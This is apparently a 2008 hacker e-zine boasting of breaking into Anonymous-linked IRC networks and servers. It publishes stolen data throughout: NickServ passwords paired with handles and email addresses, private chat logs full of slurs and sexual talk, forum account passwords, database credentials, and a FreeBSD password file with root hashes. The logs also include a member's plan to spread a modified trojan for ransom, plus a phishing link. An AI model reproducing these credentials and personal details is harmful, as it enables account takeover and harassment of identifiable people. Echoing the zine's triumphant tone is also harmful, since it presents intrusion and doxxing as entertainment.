_/_/_/_/_/ 444444444 ~~~~~~
_/ _/_/ _/ _/_/ _/_/ 4;;;;;;;;4 Internet Superheroes ~
_/ _/_/_/_/ _/_/ _/ _/ 4;;;;;;;;;4
_/ _/ _/ _/ _/ 4;;;;44;;;;4 With great power
_/_/_/_/_/ _/_/_/ _/ _/_/ 4;;;;4 4;;;;4 comes great responsibility.
4;;;;4 4;;;;4
.` .` .`.` 4;;;;4 4;;;;4 And great babes.
-+;//. `;/;/- 4;;;;444444;;;;444
-++%+. `/+/+-` 4;;;;;;;;;;;;;;;;4
-o%/o; -++/+;` 4444444444;;;;;444 ______ __
.+0%+o- `/+;/+- 4;;;;4 | |.--.--.--.-----.-----.--| |
/0%-oo;`` `+o;;o/` 4;;;;4 | -- || | | | | -__| _ |
`+0/.+ossoo+/.`` ` `;//+++oo-.++- 444444 |______||________|__|__|_____|_____|
-0%;`-/++ooooo+o/++oossso++/`.oo;
-0%oossssssssssssssssyssssso+oss/ -- Table of 0wned --
-/0o/-/syyyyyyyyyyyyyyyo;;/oso/`
``;yhyyhhhydddddyyhhyhy/` ` 1. Anonymous
-ohhs//dmy/ymmmmmy;omdo+yho-` 2. g00ns
-symmho;` /Nm+.sNNNNmo.;mm+``;sddo//` 3. illmob
oNNdo-` +Nd; ;NNNNh; .dNo` `-odNd; 4. Safety on the Internet
oMm+` oNy- `sNNmo` `hNs. /mm/` 5. Robert Lemos
/Nd; +Ns. -hds. `sNs. .dm/` 6. The Fed Jingle
.md; +No` ..` `sNs. `dd/ 7. Comodo
`om; ;ms. `yNo` .mh- 8. CF0
.do` .dy- `hd/ ;mo` 9. Blackcode
;y- `+m; .ms. `yy; 10. Trivia Security
`/+` .ho` +h/ ;y/` 11. Pwnie Awards
`-. ;d; .h+` ;;` 12. The Cult of the Dead Cow
` `;/` `oo. `` 13. Pwnee Awards
S y m a n t e c - T h r e a t C o n
---------------------------------------------
| Level 6: # rm -rf /* |
| (//6) |
---t h i s o n e g o e s u p t o s i x---^---
At last the 2008 show! The torch-song no-one ever sings! The curfew chorus line!
The comedy divine! The bulging eyes of puppets, strangled by their strings.
There's thrills and chills and girls galore, there's sing-songs and surprises!
There's something here for everyone, reserve your seat today!
We're happy to be have you back. Do we ever have some treats! We have some sweet
articles. We rm'ed g00ns, we took a successful forray into Anonymous' world, we
conquered and destroyed Blackcode, and, of course, we have the Cult of the Dead Cow
owned and exposed. We top those off with lots of fun little owns and articles. Kick
up your feet and settle in, this is going to take all night.
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0 zf0
zf0 Anonymous zf0
zf0 zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
/***********************************
*
* We owned Anonymous. Although they sell you the idea that they cannot be owned
* because they lack any structure, we owned anybody and anything involved that we
* wanted to. They had a quote about being unable to kill a dragon with no head. We
* just watch the dragon stumble around drunkenly and then we stab all its toes.
*
* We owned inky_'s main server, we owned partyvan.info, we owned a lot of people
* and sites that were not worth including in this article. The anon scene is massive
* and we owned whatever we wanted, and brought owns and lulz here for you. They get
* a lot of press and talk a lot of shit (fucking annoying ED pages too), but all
* they really are is the *chan community rebranded (currently) around the idea of
* destroying the CoS. ^ban^ basically says that if you are a channer, you're anon,
* and if you aren't, you aren't.
*
* A lot of the top guys have no respect for the morons dedicated to their cause,
* and don't mind abusing or misleading them (to which they so easily follow). They
* don't mind money either, as we will demonstrate. Something stinks about this, it
* reminds me of *something*, if only I could remember what...
*
* The most talented people in Anonymous hack Scientology people. Think about that.
* In the hacking world, that places them below the people who hacked
* ethelsflowershop.com and above the people who DoS specialneeds.com.
*
* We could be dropping your names, addresses, and email addresses, but you're kids,
* we do have some mercy.
*
* On with the show!
*
***********************************/
// Hey it's that guy who tried to take over 4chan. Check out his IRC problems!
Xyrix -> nickserv@anonymous.services: REGISTER 01110 x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C3 x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix c0ncr3t3456 x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix lolol x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix maniclol x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER help
Speaking of which, it looks like we got a fan after rming g00ns:
From: X Y <xyrix@live.com>
To: superheroes@hushmail.com
Date: Thu, 08 May 2008 19:03:20 +0100
This message is not encrypted, and is not digitally signed by .
Hey, I was just wondering where you guys hung out normally. Irc or on silc?
// Some select passes, starting with the [nig] bitches
[nig]A_Non_E_Moose_ -> nickserv@anonymous.services: IDENTIFY qrrbrbirlbel
[nig]Azure -> nickserv@anonymous.services: identify niceguyjin
[nig]Azure -> nickserv@anonymous.services: identify nigguyjin
[nig]Banhammer -> nickserv@anonymous.services: identify letmein
[nig]CircleK -> nickserv: register bullpass1
[nig]Dart27 -> nickserv@anonymous.services: register midnight3 insurgentdart27@gmail.com
[nig]Dravas -> nickserv: identify x8i9j9w
[nig]Kazimir -> nickserv: identify wood.lake
[nig]Moose -> nickserv@anonymous.services: identify qrrbrbirlbel
[nig]Picatta -> NickServ: IDENTIFY lolcats8295
[nig]Skorski -> nickserv: identify internethate
[nig]Spaise -> nickserv: identify 198956spaise
[nig]Tycho -> NickServ: IDENTIFY auli711
[nig]banhammer -> nickserv@anonymous.services: identify letmein
[nig]brambi -> NickServ: IDENTIFY exodus
[nig]codenaur -> nickserv: REGISTER bobbin codenaur@omfgawd.org
[nig]kando -> nickserv: identify qwerty
[nig]kando -> nickserv: identify qwertyui
[nig]msgmcmuffin -> nickserv: identify haX0rm3plz
[nig]neG -> nickserv: identify fucktits
[nig]shamrock -> nickserv@anonymous.services: identify jimmy123
[nig]spic -> nickserv: identify alphabette
[nig]squid -> nickserv: identify w00tah
// Some other passes of (mostly) relevant people in the anon scene
inky_ -> nickserv: identify jblink
Alyosha -> nickserv: identify CLEVERPASSWD1111
RickRollington -> nickserv: identify muddymuddykipz
Rorschach -> nickserv@anonymous.services: IDENTIFY saltywalrus
Tycho -> NickServ: IDENTIFY auli711
negroe -> nickserv: ghost TheShining jewslol
negroe -> nickserv: identify aspadmd1
Kerx -> NickServ: identify hit13r
Freeze` -> nickserv@anonymous.services: identify wtfuxsucks
SpunkWang -> NickServ: IDENTIFY SpunkWang!
trypta -> nickserv: identify moveon
Nihilanth -> nickserv: identify bper231a
Skorski -> nickserv@anonymous.services: ghost Deltantor slowpoke
Muhu -> nickserv@anonymous.services: IDENTIFY niggershit7
Fail-chan -> nickserv@anonymous.services: identify cocks123
Delacroix -> nickserv: id lulzy1
f0rked -> nickserv@anonymous.services: id holyshit
_meh_ -> NICKSERV: IDENTIFY iamroot
innocuous -> nickserv: identify thepassword.
innocuous -> nickserv: identify thenickpassword.
innocuous -> nickserv: identify thenickpass.
Ms_Mister -> nickserv@anonymous.services: identify farkman
trapnest -> nickserv: identify aichii32
DrMengele -> NickServ: identify mofo47
bittwist -> nickserv@anonymous.services: identify sun42
Spaise -> nickserv: identify 1898956spaise
nfinity0 -> NickServ: identify bluemonkey66
infinity0 -> NickServ: register Ivy saturation6666 infinity0x@gmail.com
Cobrian -> Nickserv: identify Amiga32
cheezmasta_ -> nickserv@anonymous.services: IDENTIFY iamthecheese101
denvetta -> NickServ: IDENTIFY madman01
codenaur -> nickserv: IDENTIFY thaergaerg
codenaur -> nickserv: identify bobbin
codenaur -> nickserv: identify ilovecock // We can't make this shit up
RickRollington -> chanserv: identify #insurgency h875n8w45h89
/*
*
* Let's start it off with #el/i/tes
*
*/
^ban^ -> #el/i/tes: We are True Anonymous.
// And we are watching.
// ^ban^ is one of the big names in anonymous.. "old anon".. check out his
brilliant ideas!
^ban^ -> #el/i/tes: well, a suggestion for a board name
^ban^ -> #el/i/tes: I don't suggest we model after said board though
^ban^ -> #el/i/tes: http://4-ch.net/dqn/
^ban^ -> #el/i/tes: The Elitist Superstructure of DQN
^ban^ -> #el/i/tes: (The Elitist Superstructure of TPN you might recognize,
Nihilanth)
// ^ban^ had his docs dropped already, big drama
// And we finally know what old anon care about - money
Kerx -> #el/i/tes: So we're not gonna sit on asses and have yet another person
run our wiki and have him profit of us
Kerx -> #el/i/tes: time once and for all to buy own server and do our shit on
it and rent out space to make teh money
Freeze` -> #el/i/tes: and how would that work
Freeze` -> #el/i/tes: I'm all eyes here
Kerx -> #el/i/tes: just how the guy running anonhost is doing his
Kerx -> #el/i/tes: and we've got an easy way to secure money with the xenu
raids
Kerx -> #el/i/tes: make sure we have some true reps for the wiki go out and
collect in person also on next raid
// More money
Kerx -> #el/i/tes: ^ban^ we already has a way to get a ton of dough
// More money
Picatta -> #el/i/tes: and we're putting a couple ads on it
// More money
Picatta -> #el/i/tes: We could do a proxy list and put ads on it
// They are masters of technology and contemporary security issues
TheShining -> #el/i/tes: but we can't tell anyone
TheShining -> #el/i/tes: outside of this room
TheShining -> #el/i/tes: i was thinking about us getting a trojan
TheShining -> #el/i/tes: but modifying it
TheShining -> #el/i/tes: completely
TheShining -> #el/i/tes: until everything is changed to that virus scanners
wont pick it up
TheShining -> #el/i/tes: and distribute it to as many computers as possible
TheShining -> #el/i/tes: and take as much personal information as possible
TheShining -> #el/i/tes: and or hold the computers for ransom
Freeze` -> #el/i/tes: hmm
Freeze` -> #el/i/tes: if you could really do that
Freeze` -> #el/i/tes: I'd help out
TheShining -> #el/i/tes: the hardest part is to re-do the code on the trojan
TheShining -> #el/i/tes: and we'd also have to keep this secret until we had at
least 10,000 zombies
// omg anonymous revealed
031811:fuckingfruit -> #el/i/tes: he's waiting for kakama (the leader of
anonymous) to decide if to delete a wiki page or not
// Kakama's site and yahoo phish page: http://login.yahoo.890m.com/yahoo.html
// The illustrious ^ban^ explains that anon aren't hackers, they're channers,
and if you're not a channer, you're not anon
clorox -> ^ban^: you have alot of enemies...i am one of them
clorox -> ^ban^: you were a faggot when we first came here to me
^ban^ -> clorox: there's a pretty simple explanation for that, you know
^ban^ -> clorox: I was here when partyvan was founded, and didn't like the idea
of it abandoning the entire idea for it's founding :|
^ban^ -> clorox: The original idea was to have a network for anon, by anon, and
only anon
clorox -> ^ban^: what makes you anon
^ban^ -> clorox: but things didn't happen that way
^ban^ -> clorox: by anon I mean anyone from the *chan culture
// IF YOU WANT TO BE ANON CLOROX YOU HAVE TO BE MORE CHAN
/*
*
* Who wants to read the private chats of 711staff?
*
*/
// I beg to differ
jewlion -> #711staff: this is your only warning
jewlion -> #711staff: what happens in here
jewlion -> #711staff: stays in here
// Ego
lolihaetfire -> #711staff: Actually, christ, who are our other admins?
inky_ -> #711staff: ^Bi am the other admin
lolihaetfire -> #711staff: danke
inky_ -> #711staff: why the hell does nobody acknowledge me
inky_ -> #711staff: they're always like 'jewlion this' 'jewlion that'
inky_ -> #711staff: if it wasn't for me this site wouldn't even exist
// And rank
syense -> #711staff: we sure will miss jewlion though.
Kakama -> #711staff: WHAT
Kakama -> #711staff: HUH?
Kakama -> #711staff: JEWLION GO WHERE?
syense -> #711staff: he has stepped down.
syense -> #711staff: hes getting marrieda
DaftWally -> #711staff: I assumed inky_ would take over
syense -> #711staff: well he will
[nig]Dravas -> #711staff: lol
syense -> #711staff: hell be primary, with necro as second, and me as third
DaftWally -> #711staff: can I be 4th? :3
[nig]Dravas -> #711staff: can i be 5th :3
syense -> #711staff: daftwally will probably be 4th
// And more rank
jewlion -> #711staff: if the site goes down
jewlion -> #711staff: you'll have to be the one to take care of shit
jewlion -> #711staff: Necrobilly and MisterCow are the only one's I'd trust
with the site rite nao :|
jewlion -> #711staff: but MisterCow isn't here
// They're all about the money, too
UnknownUser -> #711staff: I have a great idea
UnknownUser -> #711staff: we could sell account levels
UnknownUser -> #711staff: like say a platnum acount gets you unlimited access
to all pictures
[nig]ItsNotLupus -> #711staff: syense: wat
UnknownUser -> #711staff: where as a normal account you can only look at 5 pics
in a min
// Money can buy you status
jewlion -> #711staff: I gave admin to those who donated
jewlion -> #711staff: and have been mods forever
Dart27 -> #711staff: I was an accident. My mom said, "the ONE time me and your
father had sex I got pregnant"
Dart27 -> #711staff: Anyways, I've only made one thing in PHP.
Dart27 -> #711staff: But it is cool.
Tycho -> #711staff: why are you so hard over her anony
anony -> #711staff: because i want my cock in her ass this summer
Tycho -> #711staff: be sure to get vids
anony -> #711staff: lewl
NotDaftWally -> #711staff: yeah
anony -> #711staff: i copy+pasted that to her :3
anony -> #711staff: on msn
Tycho -> #711staff: i fucking hate you anony
anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you
(7802934048) says:
anony -> #711staff: LOLOLOLOLOLOLOLOLOL
anony -> #711staff: Phill says:
anony -> #711staff: we're so having buttsex.
anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you
(7802934048) says:
anony -> #711staff: No anal. Last time I tried anal I cried.
lulzwhut -> #711staff: so
lulzwhut -> #711staff: syense is like actually dead
[nig]jewlion -> #711staff: yeah
ECB -> #711staff: wut happened
[nig]jewlion -> #711staff: fluid leak
[nig]jewlion -> #711staff: in his car
[nig]jewlion -> #711staff: dunno wat
ECB -> #711staff: so i get his o:line?!?!
[nig]jewlion -> #711staff: but it caused him to hit a semi
Tycho -> #711staff: <Necrobilly> I shoulda backed everything up
Tycho -> #711staff: WHEN YOURE POUNDING A GIRL FROM BEHIND
Tycho -> #711staff: AND HER BACK ARCHES
Tycho -> #711staff: THAT IS FUCKING HOT
Howler -> #711staff: guys can do that too
// 711staff paypal. Word to the wise: disable it
Dravas -> #711staff: dravas@loliheaven.net
inky_ -> #711staff: apu and aero are what host 711
anony -> #711staff: it felt like i stole keri from you
anony -> #711staff: so I stopped talking to her
andy -> #711staff: uh
andy -> #711staff: lost stole her
andy -> #711staff: from all of you
/*
*
* There's this "blackops" group that tried to be something, but they just
generate humour
*
*/
MDK -> #blackops: yeh we need a pw thats easy to remember
Spaise -> #blackops: umm what about
Spaise -> #blackops: opsareblack
Spaise -> #blackops: anything else we neeD?
Spaise -> #blackops: ummm
Spaise -> #blackops: flood protection
MDK -> #blackops: how do you change the topic with this script?
carbonlesz -> #blackops: ... Damnit, MDK. Stop capitalizing random letters of
words in passwords.
// He means the IRC channel mode
Spaise -> #blackops: hmm cant have private set if its secret
Spaise -> #blackops: grr
carbonlesz -> #blackops: I should probably use a proxy.
/*
*
* The guys running the wiki are incompetent
*
*/
f0rked -> #wiki: oh, I thought it was ddosed or something
denvetta -> #wiki: picatta's away somewhere
denvetta -> #wiki: Well.. that's possible... but picatta assures me that the
server is ddos proof
infinity0 -> #wiki: WedTM: NO. nothing was hacked
infinity0 -> #wiki: it was just an exploit in the mediawiki software
Picatta -> #wiki: OH ASHI-
Picatta -> #wiki: DHIT
Picatta -> #wiki: /var is full
Apon71 -> #wiki: Big problems with nameserver?
Picatta -> #wiki: yes
Apon71 -> #wiki: Ok, I trust you guys will fix it as always
Apon71 -> #wiki: I've been away for a week, and am trying to catch up on what's
happening
Picatta -> #wiki: I can't really do shit until wedtm gets back
Apon71 -> #wiki: Either the wiki got hacked
Apon71 -> #wiki: Or one of you is trying to scare away newfags
Ivy -> #wiki: Apon71: yeah it's someone trying to scare away newfags, i'm
guessing Kakama, sigh
januszeal -> #wiki: why is the wiki down
januszeal -> #wiki: in before, after, and during slowpoke
Picatta -> #wiki: well
a-n-o-n -> #wiki: wtf...
a-n-o-n -> #wiki: wiki down?
Kakama -> #wiki: ATTENTION SHOPPERS
infinity0 -> #wiki: Picatta: wiki down again... we should split up the SQL
server vs. the webserver again
denvetta -> #wiki: wiki down
denvetta -> #wiki: can someone add it to /topi?
// They actually had the most successful individual security strategy we came
// across - the wiki was down for the majority of the time we had it owned.
// Made it a big pain in the ass and mostly we didn't bother.
/*
*
* #anti includes people behind ED. We were hoping oclet would be passing 0day
* around, but the only thing he has or passes is drugs. He's mostly a failure
* at this hacker thing but wins at lulz.
*
*/
Talldog -> #anti: Having seen a woman be fucked by a horse, my pants feel
strangely empty
hep -> #anti: i saw women getting fucked by horses when i was still bbsing
oclet -> #anti: ive seen .millions of girls getting fucked by horses just on
accident
sabotage -> #anti: i miss tacos
sabotage -> #anti: i banged tacos like 10 times too
Shortcat -> #anti: what happen
oclet -> #anti: me2
sabotage -> #anti: i think she was on top and i started to cum
oclet -> #anti: lets gang bang her
sabotage -> #anti: and i threw her off
oclet -> #anti: i searched facebook with my last name
oclet -> #anti: theres a lotof bitches i might be related to who are bangin
hep -> #anti: i am a one dick kind of girl
hep -> #anti: having a vagina does not entitle you to autorespect
// Just imagine more of the above, that's 100% of their conversations
/*
*
* And basically everyone else in the community is a joker. Here are some random
* quotes
*
*/
paraphren -> _Shinigami_: Think she's hot?
http://photos-c.ak.facebook.com/photos-ak-sf2p/v195/7/84/788288923/n788288923_3
51134_2156.jpg
_Shinigami_ -> paraphren: fuck yes
paraphren -> _Shinigami_: She's 18. Want a chance to fuck her?
_Shinigami_ -> paraphren: yes pls
paraphren -> _Shinigami_: heh
_Shinigami_ -> paraphren: lol
paraphren -> _Shinigami_: Well, first thing... don't mention any of this to
ANYBODY.
_Shinigami_ -> paraphren: k
paraphren -> _Shinigami_: I will quite literally have to kill you. heh
_Shinigami_ -> paraphren: lol k
paraphren -> _Shinigami_: Secondly... I have to talk her into it. She's coming
to Toronto to fuck me and wants to film it and shit, but I can let you have a
go at her if you want. heh
paraphren -> _Shinigami_: Anyway, she's a dirty girl and I'll probably be in
the room too. So hope you're up for it. :p
_Shinigami_ -> paraphren: lol, sounds fine to me
_Shinigami_ -> paraphren: i can be the videographer if you want
paraphren -> _Shinigami_: Seriously though... very important you tell NOBODY.
haha
CuNt -> Eric: w/e dude i do have a life other than computers
CuNt -> Eric: and i guarentee its a shit load better than yours
Eric -> CuNt: *rollseyes*
Eric -> CuNt: sureeeee buddy
CuNt -> Eric: sureeee buddy
Eric -> CuNt: I make more in a week then u do in a year
CuNt -> Eric: what do u make then dude
Eric -> CuNt: I bang more chicks in a month that u ever will
d0ct0r -> Eric: how did you join a haxs' group.
Eric -> d0ct0r: obviously I knew me shit
Eric -> d0ct0r: perl, vb, c, the basics
Agent_Riding -> #Philadelphia: so gnome is like the explorer.exe of ubuntu
TurbUlated -> anon080: <- sortofwant
anon080 -> TurbUlated: oh.
anon080 -> TurbUlated: your secret is safe
mattheas -> #fallout: How do I add people
mattheas -> #fallout: what's the command
anon64 -> #fallout: /invite
srgrnr -> #fallout: i want to go back to high school
srgrnr -> #fallout: where i had friends.
anon64 -> #fallout: high school was gay
srgrnr -> #fallout: i had friends, dude.
srgrnr -> #fallout: HOW THE FUCK
srgrnr -> #fallout: DO I UNIGNORE SOMEONE
srgrnr -> #fallout: ON IRC
Phist -> #illmob: Spyd3r: jewlion is one of the top submitters on darknet
Phist -> #illmob: 16 year old anon- turned compsec ethic expert
Eugene -> HetGezicht: I don't have skills for ddos
skinless -> Consumerwhore: feel like giving me a short explanation of how to
get into a site?
skinless -> Consumerwhore: i have php python and perl
kayla -> codenaur:
http://www.google.co.uk/search?hl=en&client=firefox-a&channel=s&rls=org.mozilla
%3Aen-GB%3Aofficial&hs=BBT&q=warning%3A+incompatible+implicit+declaration+of+bu
ilt-in+function+memcpy&btnG=Search&meta=
kayla -> codenaur: memcpy is a function
codenaur -> kayla: ah
codenaur -> kayla: :D
codenaur -> kayla: Thanks <3
// Shit this isn't very anonymous
barbanon -> #socal: Gregg Hagglund up in Canada has been tagged as the leader
there
QED|Pi -> Machine-Gunner: I'll just say they're for Stephen.A
Machine-Gunner -> QED|Pi: oh fuck
Machine-Gunner -> QED|Pi: :P
QED|Pi -> Machine-Gunner: Nice..
Machine-Gunner -> QED|Pi: Fuuuuuck
Machine-Gunner -> QED|Pi: How did you know
QED|Pi -> Machine-Gunner: it's your ident
QED|Pi -> Machine-Gunner: Stephen.A.@desu-C67BC7B.carleton.ca
// We owned this. It's between "Not worth mentioning" and "Not worth its own
// section", so we drop it here
define(SQLHOST, 'lulzhost.net'); //MySQL server address, usually
localhost
define(SQLUSER, 'img'); //MySQL user (must be changed)
define(SQLPASS, '3ecaa923-4c0e-4526-9f44-c8a437d88bb5'); //MySQL
user's password (must be changed)
define(SQLDB, 'img'); //Database used by image board
define(ADMIN_PASS, 'fgt'); //Janitor password (CHANGE THIS YO)
// BANG ON - Give this guy a medal and put him in charge (except he's not dumb
// enough to accept responsibility for this crap shoot)
Orakio -> #programming: Anonymous = mostly idiots.
Orakio -> #programming: Don't work directly with them.
Orakio -> #programming: It's better to linger on the edges, find a good
subgroup.
Orakio -> #programming: I mean I hate scientology and I don't need to be in
some group called anonymous to express that hate.
Orakio -> #programming: Especially when they can't even renew their domain
names.
Orakio -> #programming: It's a liability to be too closely intergrated.
// He has a 30-character nickserv password. No joke.
GaiaKB -> #privateprivategaia: ServicesUp|Sun Mar 30 04:05:51 EDT 2008|~! Do
NOT talk about #privateprivategaia
GaiaKB -> #privateprivategaia: Something|Sun Mar 30 04:09:59 EDT 2008|~!
Everything discussed here, stays here
// ZF0 has magic powers that can read your conversations even (yes, even!!) if
// you're using SSL!
ian -> #spk: i pasted that in spk
ian -> #spk: he cant know that
ian -> #spk: i use ssl
/*
*
* Picatta's spools took up a lot of space, so here's just some mails clean and
* clear
*
*/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Dear Hitlerlol,
Thank you for registering at the Megadeth Forums. Before we can activate your
account one last step must be taken to complete your registration.
Please note - you must complete this last step to become a registered member.
You will only need to visit this url once to activate your account.
To complete your registration, please visit this url:
http://forums.megadeth.com/register.php?a=act&u=69022&i=27200622
<a
href="http://forums.megadeth.com/register.php?a=act&u=69022&i=27200622"
>America Online Users Please Visit Here to be Activated</a>
**** Does The Above URL Not Work? ****
If the above url does not work, please use your Web browser to go to:
http://forums.megadeth.com/register.php?a=ver
Please be sure not to add extra spaces. You will need to type in your username
and activation number on the page that appears when you visit the url.
Your Username is: Hitlerlol
Your Activation ID is: 27200622
If you are still having problems signing up please contact a member of our
support staff at webmaster@megadeth.com
All the best,
Megadeth Forums
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Hi,
You have requested to register the following nickname Picatta.
Please type " /msg NickServ confirm u95oIIpO3 " to complete registration.
If you don't know why this mail was sent to you, please ignore it silently.
PLEASE DON'T ANSWER TO THIS MAIL!
Rizon administrators.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Dear Picatta,
Thank you for registering at Bodybuilding.com. Before we can activate
your account one last step must be taken to complete your
registration.
Please note - you must complete this last step to become a registered
member. You will only need to visit this url once to activate your
account.
To complete your registration, please visit this url:
http://my.bodybuilding.com/register.php?a=3Dact&u=3D13453212&i=3D725985
83
<a
href="http://partyvan.info/serialized/3D%22http://my.bodybuilding.com/register.
php?a=3Dact&u=3D13453212&i=3D=" 72598583="">America
Online Users Please Visit Here to be Activated</a>
**** Does The Above URL Not Work? ****
If the above url does not work, please use your Web browser to go to:
http://my.bodybuilding.com/register.php?a=3Dver
Please be sure to type it exactly as it appears. You will need to type
in your Username and Activation ID on the page that appears when you
visit the url.
Your Username is: Picatta
Your Activation ID is: 72598583
If you are still having problems signing up please contact a member of
our support staff at support@bodybuilding.com.
All the best,
Bodybuilding.com
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Welcome to forum.i2p Forums
Please keep this email for your records. Your account information is as
follows:
----------------------------
Username: Picatta
Password: lolcats8295
----------------------------
Please do not forget your password as it has been encrypted in our database and
we cannot retrieve it for you. However, should you forget your password you can
request a new one which will be activated in the same way as this account.
Thank you for registering.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Welcome to Operation Clambake Message Board Forums
Please keep this email for your records. Your account information is as
follows:
----------------------------
Username: Picatta
Password: loldongs
----------------------------
Your account is currently inactive, the administrator of the board will need to
activate it before you can log in. You will receive another email when this has
occured.
Please do not forget your password as it has been encrypted in our database and
we cannot retrieve it for you. However, should you forget your password you can
request a new one which will be activated in the same way as this account.
Thank you for registering.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Welcome to Enturbulation.org Forums
Please keep this email for your records. Your account information is as f=
ollows:
----------------------------
Username: Picatta
Password: 86500144
----------------------------
Your account is currently inactive. You cannot use it until you visit the=
following link:
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*
*
* Now let's get to the box pwning. This is inky's server that hosts a handful
of their shitty sites
*
*/
drwxr-xr-x 4 root wheel 512 Feb 14 03:05 bbs.711chan.org
drwxr-xr-x 4 root wheel 512 Feb 6 07:03 invalid.site
drwxr-xr-x 4 httpd httpd 512 Jan 26 09:24 lt3c.info
drwxr-xr-x 4 root wheel 512 Feb 1 15:41 maps.lt3c.info
drwxr-xr-x 4 root wheel 512 Feb 19 01:42 no-tolerance.info
drwxr-xr-x 4 root wheel 512 Feb 7 06:53 partyvanradio.org
drwxr-xr-x 4 root wheel 512 Mar 7 15:13 untitledhosting.org
drwxr-xr-x 4 root wheel 512 Feb 19 19:15 virtual.psychomatic.us
drwxr-xr-x 4 root wheel 512 Mar 11 04:13 vzpp.untitledhosting.org
lrwxr-xr-x 1 root wheel 10 Jan 26 09:24 www.lt3c.info -> lt3c.info/
lrwxr-xr-x 1 root wheel 18 Feb 19 01:43 www.no-tolerance.info ->
no-tolerance.info/
lrwxr-xr-x 1 root wheel 18 Feb 7 06:53 www.partyvanradio.org ->
partyvanradio.org/
lrwxr-xr-x 1 root wheel 20 Mar 7 15:13 www.untitledhosting.org ->
untitledhosting.org/
$config['db_username'] = 'untitledhosting';
$config['db_password'] = '0DTtITKJ.yBD';
$dbhost = 'localhost';
$dbport = '3306';
$dbname = 'lt3c_phpbb';
$dbuser = 'root';
$dbpasswd = 'jblink';
// ^ that's the root pw too! And his nickserv pass! We rooted the box too fast
// to even have to look up his nickserv pass
$db_server = 'localhost';
$db_name = 'nt-server';
$db_user = 'nt-server';
$db_passwd = 'nm2KHZaWzwZbWrxT';
$db_prefix = 'smf_';
$config['dbms'] = 'mysql';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'untitledhosting';
$config['db_password'] = '0DTtITKJ.yBD';
$config['db_name'] = 'untitledhosting';
d><title>hacked by [seven11]</title></head><body bgcolor="black">
<div align="center" style="color:#FFFFFF"><h1>Hacked by <font
color="red">[seven11]inky</font>, [PURGE] are a load of faggots</h1><br></div>
</body></html>
// ^ haha
# shoutcast
Password=imadj
AdminPassword=partyvanorg
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$40oTVDjS$IXT5EmlwEhu84acMjAZ/J/:0:0::0:0:Root User:/root:/usr/bin/bash
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
ltsvadmin:$1$2fVGuwaC$7B57fBkwiTg9W1S5VKD5u1:1001:1001::0:0:User
&:/home/ltsvadmin:/bin/sh
zipservers:$1$A.lwsVBx$CmzJM6Wt3RX6jOvByFKSv0:1002:0::0:0:User
&:/home/zipservers:/bin/sh
